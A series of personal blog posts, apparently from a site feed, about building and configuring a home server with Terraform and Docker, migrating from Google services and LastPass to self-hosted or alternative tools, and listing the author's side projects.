<td>政府</td>
<td>127.0.53.53</td>
</tr>
<tr>
<td>عرب</td>
<td>127.0.53.53</td>
</tr>
<tr>
<td>招聘</td>
<td>127.0.53.53</td>
</tr>
<tr>
<td>グーグル</td>
<td>127.0.53.53</td>
</tr>
</tbody>
</table>
<p><em>Update</em>: An automatically updated version of this is available at https://captnemo.in/tld-a-record/</p>
Migrating from Google (and more)2017-12-31T00:00:00+00:00https://captnemo.in/blog/2017/12/31/migrating-from-google<div class="toc">
<h4 id="contents">Contents</h4>
<ul>
<li><a href="#email">Email</a></li>
<li><a href="#google-play-music">Google Play Music</a></li>
<li><a href="#google-keep">Google Keep</a></li>
<li><a href="#phone">Phone</a>
<ul>
<li><a href="#microg-core">microG Core</a></li>
<li><a href="#unifiedlp">UnifiedLP</a></li>
<li><a href="#maps">Maps</a></li>
<li><a href="#uber">Uber</a></li>
<li><a href="#calendar-contacts">Calendar/Contacts</a></li>
<li><a href="#google-play-store">Google Play Store</a></li>
</ul>
</li>
<li><a href="#lastpass">LastPass</a></li>
<li><a href="#github">GitHub</a></li>
</ul>
</div>
<p>As part of working on my home-server setup, I wanted to move off few online services to ones that I manage. This is a list of what all services I used and what I’ve migrated to .</p>
<p><em>Why</em>: I got frustrated with <a href="https://music.google.com" title="Google Play Music">Google Play Music</a> a few times. Synced songs would not show up across all clients immediately (I had to refresh,uninstall,reinstall), and I hated the client limits it would impose. Decided to try <a href="https://microg.org/" title="MicroG is a free-as-in-freedom re-implementation of Google’s proprietary Android user space apps and libraries.">microG</a> on my phone at the same time, and it slowly came together.</p>
<h1 id="email">Email</h1>
<p>I’ve been using email on my own domain for quite some time (<code class="language-plaintext highlighter-rouge">captnemo.in</code>), but it was managed by a Outlook+Google combination that I didn’t like very much.</p>
<p>I switched to <a href="http://www.migadu.com/" title="Migadu is email hosting built and operated by humans">Migadu</a> sometime last year, and have been quite happy with the service. Their <a href="https://www.migadu.com/privacy/">Privacy Policy</a>, and <a href="https://www.migadu.com/procon/">pro/cons</a> section on the website is a pleasure to read.</p>
<p><em>Why</em>: Email is the central-point of your online digital identity. Use your own-domain, at the very least. That way, you’re atleast protected if Google decides to suspend your account. Self-hosting email is a big responsibility that requires critical uptime, and I didn’t want to manage that, so went with migadu.</p>
<p><em>Why Migadu</em>: You should read their <a href="https://news.ycombinator.com/item?id=13048334">HN thread</a>.</p>
<p><em>Caviats</em>: They don’t yet offer 2FA, but hopefully that should be fixed soon. Their spam filters aren’t the best either. Migadu even has a <a href="https://www.migadu.com/procon/#the-drawbacks-list">Drawbacks</a> section on their website that you <em>must read</em> before signing up.</p>
<p><em>Alternatives</em>: RiseUp, FastMail.</p>
<h1 id="google-play-music">Google Play Music</h1>
<p>I quite liked <a href="https://music.google.com" title="Google Play Music">Google Play Music</a>. While their subscription offering is horrible in India, I was a happy user of their “bring-your-own-music” plan. In fact, the most used Google service on my phone happened to be Google Play Music! I switched to a nice subsonic fork called [AirSonic][airsonic], which gives me the ability to:</p>
<ul>
<li>Listen on as many devices as I want (Google has some limits)</li>
<li>Listen using multiple clients at the same time</li>
<li>Stream at whatever bandwidth I pick (I stream at 64kbps over 2G networks!)</li>
</ul>
<p>I’m currently using <a href="https://www.clementine-player.org/">Clementine</a> on the Desktop (which unfortunately, doesn’t cache music), and <a href="https://github.com/ultrasonic/ultrasonic/">UltraSonic</a> on the phone. Airsonic even supports bookmarks, so listening to audiobooks becomes much more simpler.</p>
<p><em>Why</em>: I didn’t like Google Play Music limits, plus I wanted to try the “phone-without-google” experiment.</p>
<p><em>Why AirSonic</em>: <a href="https://github.com/sindremehus/subsonic">Subsonic</a> is now closed source, and the <a href="https://www.reddit.com/r/selfhosted/comments/6saiac/airsonic_is_out/dlbea94/">Libresonic developers forked off to AirSonic</a>, which is under active development. It is supports across all devices that I use, while <a href="http://ampache.org/">Ampache</a> has spotty Android support.</p>
<h1 id="google-keep">Google Keep</h1>
<p>I switched across to <a href="https://workflowy.com">WorkFlowy</a>, which has both a Android and a Linux app (both based on webviews). I’ve used it for years, and it is a great tool. Moreover, I’m also using DAVDroid sync for Open Tasks app on my phone. Both of these work well enough offline.</p>
<p><em>Why</em>: I didn’t use Keep much, and WorkFlowy is a far better tool anyway.</p>
<p><em>Why WorkFlowy</em>: It is <em>the best</em> note-taking/list tool I’ve used.</p>
<h1 id="phone">Phone</h1>
<p>I switched over to the <a href="https://lineage.microg.org/">microG fork of lineageOS</a> which offers a reverse-engineered implementation of the Google Play Services modules. It includes:</p>
<h2 id="microg-core">microG Core</h2>
<p>Which talks to Google for Sync, Account purposes.</p>
<p><em>Why</em>: Saves me a lot of battery. I can uninstall this, unlike Google Play Services.</p>
<p><em>Cons</em>: Not all google services are supported very well. Push notifications have some issues on my phone. See the <a href="https://github.com/microg/android_packages_apps_GmsCore/wiki/Implementation-Status">Wiki</a> for Implementation Status.</p>
<h2 id="unifiedlp">UnifiedLP</h2>
<p>Instead of the Google Location Provider. I use the Mozilla Location Services, along with Mozilla Stumbler to help improve their data.</p>
<p><em>Why</em>: Google doesn’t need to know where I am.</p>
<p><em>Caviats</em>: GALP (Google Assisted Location Provider) does GPS locks much faster in comparision. However, I’ve found the Mozilla Location Services coverage in Bangalore to be pretty good.</p>
<h2 id="maps">Maps</h2>
<p>Stil looking for decent alternatives.</p>
<h2 id="uber">Uber</h2>
<p>microG comes with a Google Maps shim that talks to Open Street Maps. The maps feature on Uber worked fine with that shim, however booking cabs was not always possible. I switched over to <code class="language-plaintext highlighter-rouge">m.uber.com</code> which worked quite well for some time.</p>
<p>Uber doesn’t really spend resources on their mobile site though, and it would ocassionaly stop working. Especially with regards to payments. I’ve switched over to the Ola mobile website, which works pretty well. I keep the OlaMoney app for recharging the OlaMoney wallet alongside.</p>
<p>Uber->Ola switch was also partially motivated by <a href="https://www.theguardian.com/technology/2017/jun/18/uber-travis-kalanick-scandal-pr-disaster-timeline">how-badly-run Uber is</a>.</p>
<h2 id="calendarcontacts">Calendar/Contacts</h2>
<p>Most implementations support caldav/carddav for calendar/contacts sync. I’m using DAVDroid for syncing to a self-hosted <a href="https://radicale.org" title="A Free and Open-Source CalDAV and CardDAV Server, runs on Python">Radicale Server</a>.</p>
<p><em>Why</em>: I’ve always had contacts synced to Google, so it was always my-single-source-of-truth for contacts. But since I’m on a different email provider now, it makes sense to move off those contacts as well. Radicale also lets me manage multiple addressbooks very easily.</p>
<p><em>Why Radicale</em>: I looked <a href="https://github.com/Kickball/awesome-selfhosted#calendaring-and-contacts-management">around at alternatives</a>, and 2 looked promising: Sabre.io, and Radicale. Sabre is no longer under development, so I picked Radicale, which also happened to have a <a href="https://hub.docker.com/r/tomsquest/docker-radicale/">regularly updated docker image</a>.</p>
<h2 id="google-play-store">Google Play Store</h2>
<p>Switch to <a href="https://f-droid.org/">FDroid</a> - It has some apps that <a href="https://adaway.org/">Google doesn’t</a> <a href="https://newpipe.schabi.org/">like</a>, and some more. Moreover, you can use YALP Store to download any applications from the Play Store. You can even run a FDroid repository for the apps you use from Play Store, as an alternative. See <a href="https://shadow53.com/android/no-gapps/faq/can-i-use-the-official-play-store-with-microg/">this excellent</a> guide on the various options.</p>
<p><em>Why</em>: Play Store is tightly linked to Google Play Services, and doesn’t play nice with <a href="https://microg.org/" title="MicroG is a free-as-in-freedom re-implementation of Google’s proprietary Android user space apps and libraries.">microG</a>.</p>
<p><em>Why FDroid</em>: FDroid has <a href="https://f-droid.org/docs/Reproducible_Builds/?title=Deterministic,_Reproducible_Builds">publicly verifiable builds</a>, and tons of open-source applications.</p>
<p><em>Why Yalp</em>: Was easy enough to setup.</p>
<p>If you’re looking to migrate to MicroG, I’d recommend going through the entire <a href="https://shadow53.com/android/no-gapps/setup-guide/microg/">NO Gapps Setup Guide</a> by shadow53 before proceeding.</p>
<h1 id="lastpass">LastPass</h1>
<p>I’ve switched to <code class="language-plaintext highlighter-rouge">pass</code> along with a sync to keybase.</p>
<p><em>Why</em>: <a href="https://en.wikipedia.org/wiki/LastPass#Security_issues">LastPass has had multiple breaches</a>, and a plethora of security issues (including 2 RCE vulnerabilities). Their fingerprint authentication on Android could be bypassed til recently. <em>I just can’t trust them any more</em></p>
<p><em>Why pass</em>: It is built on strong crypto primitives, is open-source, and has good integration with both <a href="https://github.com/cdown/passmenu"><code class="language-plaintext highlighter-rouge">i3</code></a> and <a href="https://github.com/browserpass/browserpass-extension">firefox</a>. There is also a <a href="https://git.zx2c4.com/password-store/tree/contrib/importers/lastpass2pass.rb">LastPass migration script</a> that I used.</p>
<p><em>Caviats</em>: Website names are used as filenames in pass, so even though passwords are encrypted, you don’t want to push it to a public Git server (since that would expose the list of services you are using). I’m using my <a href="https://git.captnemo.in" title="Hosted by gitea, uptime not guaranteed">own git server</a>, along with keybase git(which keeps it end-to-end encrypted, even branch names). You also need to be careful about your GPG keys, instead of a single master password.</p>
<h1 id="github">GitHub</h1>
<p>For bonus, I setup a Gitea server hosted at <a href="https://git.captnemo.in" title="Hosted by gitea, uptime not guaranteed">git.captnemo.in</a>. <a href="https://gitea.io/en-US/">Gitea</a> is a fork of <a href="https://gogs.io/">gogs</a>, and is a single-binary go application that you can run easiy.</p>
<p>Just running it for fun, since I’m pretty happy with my GitHub setup. However, I might move some of my sensitive repos (such as <a href="https://github.com/captn3m0/dir-600l" title="Reverse engineered firmware for my D-Link 600L router">this</a>) to my own host.</p>
<p><em>Why Gitea</em>: The other alternatives were <code class="language-plaintext highlighter-rouge">gogs</code>, and GitLab. There have been concerns about gogs development model, and GitLab was just too overpowered/heavy for my use case. (I’m using the home server for gaming as well, so it matters)</p>
<hr />
<p>If you’re interested in my <a href="/setup/homeserver/">self-hosting setup</a>, I’m using Terraform + Docker, the code is hosted on <a href="https://git.captnemo.in/nemo/nebula" title="If this is down, wait">the same server</a>, and I’ve been writing about my experience and learnings:</p>
<ol>
<li><a href="/blog/2017/09/17/home-server-build/">Part 1, Hardware</a></li>
<li><a href="/blog/2017/11/09/home-server-update/">Part 2, Terraform/Docker</a></li>
<li><a href="/blog/2017/12/18/home-server-learnings/">Part 3, Learnings</a></li>
<li><a href="/blog/2017/12/31/migrating-from-google/">Part 4, Migrating from Google (and more)</a></li>
<li><a href="/blog/2018/04/22/home-server-networking/">Part 5, Home Server Networking</a></li>
<li><a href="/blog/2019/02/24/btrfs-raid-device-replacement-story/">Part 6, btrfs RAID device replacement</a></li>
</ol>
<p>If you have any comments, <a href="/contact/">reach out to me</a></p>
Learnings from building my own home server2017-12-18T00:00:00+00:00https://captnemo.in/blog/2017/12/18/home-server-learnings<h2 id="learnings">Learnings</h2>
<p>I forgot to do this on the last blog post, so here is the list:</p>
<ol>
<li>archlinux has official packages for <a href="https://wiki.archlinux.org/index.php/Microcode">intel-microcode-updates</a>.</li>
<li>wireguard is almost there. I’m running openvpn for now, waiting for the stable release.</li>
<li>While <a href="https://traefik.io/"><code class="language-plaintext highlighter-rouge">traefik</code></a> is great, I’m concerned about the security model it has for connecting to Docker (uses the docker unix socket over a docker mounted volume, which gives it root access on the host). Scary stuff.</li>
<li>Docker Labels are a great signalling mechanism. <em>Update</em>: After seeing multiple bugs with how <code class="language-plaintext highlighter-rouge">traefik</code> uses docker labels, they have limited use-cases but work great in those. Don’t try to over-architect them for all your metadata.</li>
<li>Terraform still needs a lot of work on their docker provider. A lot of updates destroy containers, which should be applied without needing a destroy.</li>
<li>I can’t proxy gitea’s SSH authentication easily, since <code class="language-plaintext highlighter-rouge">traefik</code> doesn’t support TCP proxying yet.</li>
<li>The <code class="language-plaintext highlighter-rouge">docker_volume</code> resource in terraform is useless, since it doesn’t give you any control over the volume location on the host. (This might be a docker limitation.)</li>
<li>The <code class="language-plaintext highlighter-rouge">upload</code> block inside a <code class="language-plaintext highlighter-rouge">docker_container</code> resource is a great idea. Lets you push configuration straight inside a container. This is how I push configuration straight inside the <code class="language-plaintext highlighter-rouge">traefik</code> container for eg:
<div class="language-hcl highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">upload</span> <span class="p">{</span>
<span class="nx">content</span> <span class="p">=</span> <span class="s2">"${file("</span><span class="nx">$</span><span class="p">{</span><span class="nx">path</span><span class="err">.</span><span class="nx">module</span><span class="p">}</span><span class="err">/</span><span class="nx">conf</span><span class="err">/</span><span class="nx">traefik</span><span class="err">.</span><span class="nx">toml</span><span class="s2">")}"</span>
<span class="nx">file</span> <span class="p">=</span> <span class="s2">"/etc/traefik/traefik.toml"</span>
<span class="p">}</span>
</code></pre></div> </div>
</li>
</ol>
<h2 id="advice">Advice</h2>
<p>This section is if you’re venturing into a docker-heavy terraform setup:</p>
<ol>
<li>Use <code class="language-plaintext highlighter-rouge">traefik</code>. Will save you a lot of pain with proxying requests.</li>
<li>Repeat the <code class="language-plaintext highlighter-rouge">ports</code> section for every IP you want to listen on. CIDRs don’t work.</li>
<li>If you want to run the container on boot, you want the following:
<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="py">restart</span> <span class="p">=</span> <span class="s">"unless-stopped"</span>
<span class="py">destroy_grace_seconds</span> <span class="p">=</span> <span class="s">10</span>
<span class="py">must_run</span> <span class="p">=</span> <span class="s">true</span>
</code></pre></div> </div>
</li>
<li>If you have a single <code class="language-plaintext highlighter-rouge">docker_registry_image</code> resource in your state, you can’t run terraform without internet access.</li>
<li>Breaking your docker module into <code class="language-plaintext highlighter-rouge">images.tf</code>, <code class="language-plaintext highlighter-rouge">volumes.tf</code>, and <code class="language-plaintext highlighter-rouge">data.tf</code> (for registry_images) works quite well.</li>
<li>Memory limits on docker containers can be too contrained. Keep an eye on logs to see if anything is getting killed.</li>
<li>Setup Docker TLS auth <em>first</em>. I tried proxying Docker over apache with basic auth, but it didn’t work out well.</li>
</ol>
<h2 id="mongodb-with-forceful-server-restarts">MongoDB with forceful server restarts</h2>
<p>Since my server gets a forceful restart every few days due to power-cuts (I’m still working on a backup power supply), I faced some issues with MongoDB being unable to recover cleanly. The lockfile would indicate a ungraceful shutdown, and it would require manual repairs, which sometimes failed.</p>
<p>As a weird-hacky-fix, since most of the errors were from the MongoDB WiredTiger engine itself, I hypothesized that switching to a more robust engine might save me from these manual repairs. I switched to MongoRocks, and while it has stopped the issue with repairs, the wiki stil doesn’t like it, and I’m facing this issue: https://github.com/Requarks/wiki/issues/313</p>
<p>However, I don’t have to repair the DB manually, which is a win.</p>
<h2 id="sshd-on-specific-interface">SSHD on specific Interface</h2>
<p>My proxy server has the following</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>eth0 139.59.22.234
</code></pre></div></div>
<p>And an associated Anchor IP for static IP usecases via Digital Ocean. (<code class="language-plaintext highlighter-rouge">10.47.0.5</code>, doesn’t show up in <code class="language-plaintext highlighter-rouge">ifconfig</code>).</p>
<p>I wanted to run the following setup:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">eth0:22</code> -> <code class="language-plaintext highlighter-rouge">sshd</code></li>
<li><code class="language-plaintext highlighter-rouge">Anchor-IP:22</code> -> <code class="language-plaintext highlighter-rouge">simpleproxy</code> -> <code class="language-plaintext highlighter-rouge">gitea:ssh</code></li>
</ul>
<p>where gitea is the git server hosting <code class="language-plaintext highlighter-rouge">git.captnemo.in</code>. This way:</p>
<ul>
<li>I could SSH to the proxy server over 22</li>
<li>And directly SSH to the Gitea server over 22 using a different IP address.</li>
</ul>
<p>Unfortunately, <code class="language-plaintext highlighter-rouge">sshd</code> doesn’t allow you to listen on a specific interface, and since the <code class="language-plaintext highlighter-rouge">eth0</code> IP is non-static I can’t rely on it.</p>
<p>As a result, I’ve resorted to just using 2 separate ports:</p>
<p><code class="language-plaintext highlighter-rouge">22</code> -> <code class="language-plaintext highlighter-rouge">simpleproxy</code> -> <code class="language-plaintext highlighter-rouge">gitea:ssh</code>
<code class="language-plaintext highlighter-rouge">222</code> -> <code class="language-plaintext highlighter-rouge">sshd</code></p>
<p>There are some hacky ways around this by creating a new service that boots SSHD after network connectivity, but I thought this was much more stable.</p>
<h2 id="wikijs-public-pages">Wiki.js public pages</h2>
<p>I’m using wiki.js setup at <a href="https://wiki.bb8.fun">https://wiki.bb8.fun</a>. A specific requirement I had was public pages, so that I could give links to people for specific resources that could be browser without a login.</p>
<p>However, I wanted the default to be authenticated, and only certain pages to be public. The config for this was surprisingly simple:</p>
<h3 id="yaml-config">YAML config</h3>
<p>You need to ensure that <code class="language-plaintext highlighter-rouge">defaultReadAccess</code> is false:</p>
<div class="language-yml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">auth</span><span class="pi">:</span>
<span class="na">defaultReadAccess</span><span class="pi">:</span> <span class="no">false</span>
<span class="na">local</span><span class="pi">:</span>
<span class="na">enabled</span><span class="pi">:</span> <span class="no">true</span>
</code></pre></div></div>
<h3 id="guest-access">Guest Access</h3>
<p>The following configuration is set for the guest user:</p>
<p><img src="/img/wiki.js-guest-access.jpg" alt="" /></p>
<p>Now any pages created under the <code class="language-plaintext highlighter-rouge">/public</code> directory are now browseable by anyone.</p>
<p>Here is a sample page: <a href="https://wiki.bb8.fun/public/nebula">https://wiki.bb8.fun/public/nebula</a></p>
<h2 id="docker-ca-cert-authentication">Docker CA Cert Authentication</h2>
<p>I wrote a script that goes with the docker TLS guide to help you setup TLS authentication</p>
<script src="https://gist.github.com/captn3m0/2c2e723b2dcd5cdaad733aad12be59a2.js"></script>
<h2 id="openvpn-default-gateway-client-side-configuration">OpenVPN default gateway client side configuration</h2>
<p>I’m running a OpenVPN configuration on my proxy server. Howver, I don’t always want to use my VPN as the default route, only when I’m in an untrusted network. I still however, want to be able to connect to the VPN and use it to connect to other clients.</p>
<p>The solution is two-fold:</p>
<h3 id="server-side">Server Side</h3>
<p>Make sure you <em>do not</em> have the following in your OpenVPN <code class="language-plaintext highlighter-rouge">server.conf</code>:</p>
<p><code class="language-plaintext highlighter-rouge">push "redirect-gateway def1 bypass-dhcp"</code></p>
<h3 id="client-side">Client Side</h3>
<p>I created 2 copies of the VPN configuration files. Both of the them have identical config, except for this one line:</p>
<p><code class="language-plaintext highlighter-rouge">redirect-gateway def1</code></p>
<p>If I connect to the VPN config using this configuration, all my traffic is forwarded over the VPN. If you’re using Arch Linux, this is as simple as creating 2 config files:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">/etc/openvpn/client/one.conf</code></li>
<li><code class="language-plaintext highlighter-rouge">/etc/openvpn/client/two.conf</code></li>
</ul>
<p>And running <code class="language-plaintext highlighter-rouge">systemctl start openvpn-client@one</code>. I’ve enabled my non-defaut-route VPN service, so it automatically connects to on boot.</p>
<hr />
<p>If you’re interested in my <a href="/setup/homeserver/">self-hosting setup</a>, I’m using Terraform + Docker, the code is hosted on <a href="https://git.captnemo.in/nemo/nebula/">the same server</a>, and I’ve been writing about my experience and learnings:</p>
<ol>
<li><a href="/blog/2017/09/17/home-server-build/">Part 1, Hardware</a></li>
<li><a href="/blog/2017/11/09/home-server-update/">Part 2, Terraform/Docker</a></li>
<li><a href="/blog/2017/12/18/home-server-learnings/">Part 3, Learnings</a></li>
<li><a href="/blog/2017/12/31/migrating-from-google/">Part 4, Migrating from Google (and more)</a></li>
<li><a href="/blog/2018/04/22/home-server-networking/">Part 5, Home Server Networking</a></li>
<li><a href="/blog/2019/02/24/btrfs-raid-device-replacement-story/">Part 6, btrfs RAID device replacement</a></li>
</ol>
<p>If you have any comments, <a href="/contact/">reach out to me</a></p>
Running terraform and docker on my home server2017-11-09T00:00:00+00:00https://captnemo.in/blog/2017/11/09/home-server-update<p>The last time I’d posted about my Home Server build in September, I’d just gotten it working. Since then, I’ve made a lot of progress. It is now running almost 10 services, up from just Kodi back then. Now it has a working copy of:</p>
<dl>
<dt><a href="https://kodi.tv/">Kodi</a></dt>
<dd>I was running <code class="language-plaintext highlighter-rouge">kodi-standalone-service</code>, set to run on boot, as per the <a href="https://wiki.archlinux.org/index.php/Kodi#Kodi-standalone-service">ArchLinux Wiki</a>, but switched in favor of openbox to a simple autorun.</dd>
<dt><a href="http://store.steampowered.com/linux">Steam</a></dt>
<dd>The current setup uses Steam as the application launcher. This lets me ensure that the Steam Controller works across all applications.</dd>
<dt><a href="http://openbox.org/wiki/Main_Page">Openbox</a></dt>
<dd>Instead of running Kodi on xinit, I’m now running openbox with autologin against a non-privileged user.</dd>
<dt>PulseAudio</dt>
<dd>I tried fighting it, but it was slightly easier to configure compared to dmix. Might move to dmix if I get time.</dd>
<dt>btrfs</dt>
<dd>I now have the following disks:
<ol>
<li>128GB root volume. (Samsung EVO-850)</li>
<li>1TB volume for data backups</li>
<li>3TB RAID0 configuration across 2 disks.
There are some btrfs subvolumes in the 3TB raid setup, including one specifically for docker volumes. The docker guide recommends running btrfs subvolumes on the block device, which I didn’t like, so I’m running docker volumes in normal mode on a btrfs disk. I don’t have enough writes to care much yet, but might explore this further.</li>
</ol>
</dd>
<dt><a href="https://www.docker.com/">Docker</a></dt>
<dd>This has been an interesting experiment. Kodi is still installed natively, but I’ve been trying to run almost everything else as a docker container. I’ve managed to do the configuration entirely via terraform, which has been a great learning experience. I’ve found terraform much more saner as a configuration system compared to something like ansible, which gets quite crazy. (We have a much more crazy terraform config at work, though).</dd>
<dt><a href="https://www.terraform.io/">Terraform</a></dt>
<dd>I have a private repository on GitLab called <code class="language-plaintext highlighter-rouge">nebula</code> which I use as the source of truth for the configuration. It doesn’t hold everything yet, just the following:
<ol>
<li>Docker Configuration (not the docker service, just the container/volumes)</li>
<li>CloudFlare - I’m using <code class="language-plaintext highlighter-rouge">bb8.fun</code> as the root domain, which is entirely managed using the CloudFlare terraform provider.</li>
<li>MySQL - Running a MariaDB container, which has been configured by-hand till <a href="https://github.com/hashicorp/go-version/pull/34">this PR gets merged</a>.</li>
</ol>
</dd>
<dt><a href="https://github.com/go-gitea/gitea">Gitea</a></dt>
<dd>Running as a docker container, provisioned using terraform. Plan to proxy this using <code class="language-plaintext highlighter-rouge">git.captnemo.in</code>.</dd>
<dt><a href="https://emby.media/">Emby</a></dt>
<dd>Docker Container. Nothing special. Plan to set this up as the Kodi backend.</dd>
<dt><a href="https://couchpota.to/">Couchpotato</a></dt>
<dd>Experimental setup for now. Inside a docker container.</dd>
<dt><a href="https://flexget.com/">Flexget</a></dt>
<dd>I wish I knew how to configure this. Also inside docker.</dd>
<dt><a href="https://traefik.io/">traefik</a></dt>
<dd>Running as a simple reverse proxy for most of the above services</dd>
<dt><a href="http://elibsrv.sourceforge.net/">elibsrv</a></dt>
<dd>A simple OPDS server, which I use against my Kindle. If you don’t know what OPDS is, you should [check this out][]. Running on a simple apache setup on the archlinux box for now. WIP for dockerization.</dd>
<dt><a href="https://vaemendis.net/ubooquity/">ubooquity</a></dt>
<dd>Simple ebook server. Proxied over the internet. Has a online ebook reader, which is pretty cool.</dd>
<dt>MariaDB</dt>
<dd>I set this up planning to shift Kodi’s data to this, but now that I have emby setup - I’m not so sure. Still, keeping this running for now.</dd>
<dt><a href="https://transmissionbt.com/">Transmission</a></dt>
<dd>Hooked up to couchpotato,flexget, and sickrage so it can do things.</dd>
<dt><a href="https://sickrage.github.io/">Sickrage</a></dt>
<dd>Liking this more than flexget so far, much more easier to configure and use.</dd>
<dt><a href="https://airsonic.github.io/">AirSonic</a></dt>
<dd>This is the latest fork of libresonic, which was itself forked off subsonic. My attempt at getting off Google Play Music.</dd>
</dl>
<h2 id="learnings">Learnings</h2>
<p>Moved these to a separate <a href="/blog/2017/12/18/home-server-learnings/">blog post</a></p>
<h2 id="todo">TODO</h2>
<p>A few things off my TODO list:</p>
<ol>
<li>Create a Docker image for elibsrv that comes with both <code class="language-plaintext highlighter-rouge">ebook-convert</code> and <code class="language-plaintext highlighter-rouge">kindlegen</code> pre-installed</li>
<li><del>Do the same for ubooquity as well</del> (Using the <code class="language-plaintext highlighter-rouge">linuxserver/ubooquity</code> docker image)</li>
</ol>
<hr />
<p>If you’re interested in my <a href="/setup/homeserver/">self-hosting setup</a>, I’m using Terraform + Docker, the code is hosted on <a href="https://git.captnemo.in/nemo/nebula/">the same server</a>, and I’ve been writing about my experience and learnings:</p>
<ol>
<li><a href="/blog/2017/09/17/home-server-build/">Part 1, Hardware</a></li>
<li><a href="/blog/2017/11/09/home-server-update/">Part 2, Terraform/Docker</a></li>
<li><a href="/blog/2017/12/18/home-server-learnings/">Part 3, Learnings</a></li>
<li><a href="/blog/2017/12/31/migrating-from-google/">Part 4, Migrating from Google (and more)</a></li>
<li><a href="/blog/2018/04/22/home-server-networking/">Part 5, Home Server Networking</a></li>
<li><a href="/blog/2019/02/24/btrfs-raid-device-replacement-story/">Part 6, btrfs RAID device replacement</a></li>
</ol>
<p>If you have any comments, <a href="/contact/">reach out to me</a></p>
Home Server Build2017-09-17T00:00:00+00:00https://captnemo.in/blog/2017/09/17/home-server-build<p>I’d been planning to run my own home server for a while, and this culminated in a mini-ITX build recently. The current build configuration is available at <a href="/setup/homeserver/">/setup/homeserver/</a>.</p>
<p>In no particular order, here were the constraints:</p>
<ul>
<li>The case should be small (I preferred the Elite 110, but it was unavailable in India).</li>
<li>Dual LAN, if possible (decided against it at the end). The plan was to run the entire home network from this directly by plugging in the ISP into the server.</li>
<li>Recent i3/i5 for amd64 builds.</li>
<li>Enough SATA bays in the cabinet for storage</li>
</ul>
<p>The plans for the server:</p>
<ol>
<li>Scheduled backups from other sources (Android/Laptop)</li>
<li>Run Kodi (or perhaps switch to Emby)</li>
<li>Run torrents. Transmission-daemon works. Preferably something pluggable and that works with RSS</li>
<li>Do amd64 builds. See https://github.com/captn3m0/ideas#arch-linux-package-build-system</li>
<li>Host a webserver. This is primarily for serving resources off the internet
<ul>
<li>Host some other minor web-services</li>
<li>A simple wiki</li>
<li>Caldav server</li>
<li>Other personal projects</li>
</ul>
</li>
<li>Sync Server setup. Mainly for the Kindle and the phone.</li>
<li>Calibre-server, koreader sync server for the Kindle
<ul>
<li>Now looking at libreread as well</li>
</ul>
</li>
<li>Tiny k8s cluster for running other webapps</li>
<li>Run a graylog server for sending other system log data (using papertrail now, has a 200MB limit)</li>
</ol>
<p>No plans to move mail hosting. That will stay at migadu.com for now.</p>
<p>I had a lot of spare HDDs that I was going to re-use for this build:</p>
<ol>
<li>WD MyBook 3TB (external, shelled).</li>
<li>Seagate Expansion: 1TB</li>
<li>Seagate Expansion 3TB (external, shelled)</li>
<li>Samsung EVO 128GB SSD</li>
</ol>
<p>The 2x3TB disks are setup with RAID1 over <code class="language-plaintext highlighter-rouge">btrsfs</code>. Important data is snapshotted to the other 1TB disk using btrfs snapshots and subvolumes. In total giving me ~4TB of storage.</p>
<h2 id="software">Software</h2>
<p>Currently running <code class="language-plaintext highlighter-rouge">kodi-standalone-service</code> on boot. Have to decide on a easy-to-use container orchestration platform. Choices as of now are:</p>
<ol>
<li>Rancher</li>
<li>Docker Swarm</li>
<li>Shipyard</li>
<li>Terraform</li>
<li>Portainer</li>
</ol>
<p>Most of these are tuned for multi-host setups, and bring in a lot of complexity as a result. Looking at Portainer, which seems well suited to a single-host setup.</p>
<p>Other services I’m currently running:</p>
<ol>
<li><code class="language-plaintext highlighter-rouge">elibsrv</code>. Running a patched build with support for ebook-convert</li>
<li><code class="language-plaintext highlighter-rouge">ubooquity</code> for online reading of comics</li>
</ol>
<p><img src="/img/home-server.jpg" alt="" /></p>
<hr />
<p>If you’re interested in my <a href="/setup/homeserver/">self-hosting setup</a>, I’m using Terraform + Docker, the code is hosted on <a href="https://git.captnemo.in/nemo/nebula/">the same server</a>, and I’ve been writing about my experience and learnings:</p>
<ol>
<li><a href="/blog/2017/09/17/home-server-build/">Part 1, Hardware</a></li>
<li><a href="/blog/2017/11/09/home-server-update/">Part 2, Terraform/Docker</a></li>
<li><a href="/blog/2017/12/18/home-server-learnings/">Part 3, Learnings</a></li>
<li><a href="/blog/2017/12/31/migrating-from-google/">Part 4, Migrating from Google (and more)</a></li>
<li><a href="/blog/2018/04/22/home-server-networking/">Part 5, Home Server Networking</a></li>
<li><a href="/blog/2019/02/24/btrfs-raid-device-replacement-story/">Part 6, btrfs RAID device replacement</a></li>
</ol>
<p>If you have any comments, <a href="/contact/">reach out to me</a></p>
Project Updates2017-09-16T00:00:00+00:00https://captnemo.in/blog/2017/09/16/project-updates<p>Over the last couple of years, I’ve been involved with lots of side projects, both online and offline. Some of them, I’ve written about on the blog, like my <a href="/blog/2017/05/01/spectrumyzer-visualization/">music visualizer project</a>. A few of them, got their own project page, like <a href="/projects/shauryaa/">the website for my niece</a> (but no blog post) while some didn’t even get a mention. I thought I’d write about the many-many side projects I’ve started (and abandoned). You might also wanna visit the <a href="/projects/">/projects</a> page for the larger projects.</p>
<dl>
<dt><a href="/blog/2017/09/17/home-server-build/">Home Server Build</a></dt>
<dd><strong>Sep 2017</strong> Built a home server, mostly as a HTPC but also as a learning exercise for managing services over Docker.</dd>
<dt><a href="https://github.com/captn3m0/sushigo">Sushi Go</a></dt>
<dd><strong>Summer 2017</strong> This is a work-in-progress conversion of Sushi Go (original), the popular card game by Gamewright into Ruby.</dd>
<dt><a href="https://github.com/captn3m0/youtube-ripper">youtube-ripper</a></dt>
<dd><strong>June 2017</strong> Downloads music-compilations from YouTube and rips them into multiple tagged MP3 files.</dd>
<dt><a href="https://github.com/captn3m0/cosmere-books">cosmere-books</a></dt>
<dd><strong>September 2017</strong> Wrote a EPUB generator for multiple books in the Cosmere. Currently covers 4 different serializations at Tor.com. Also created a project page on all of my ebooks projects at <a href="/ebooks/">/ebooks/</a></dd>
<dt><a href="https://github.com/captn3m0/ideas">ideas</a></dt>
<dd><strong>Ongoing</strong> I maintain a CC0 licensed list of personal ideas. Feel free to use.</dd>
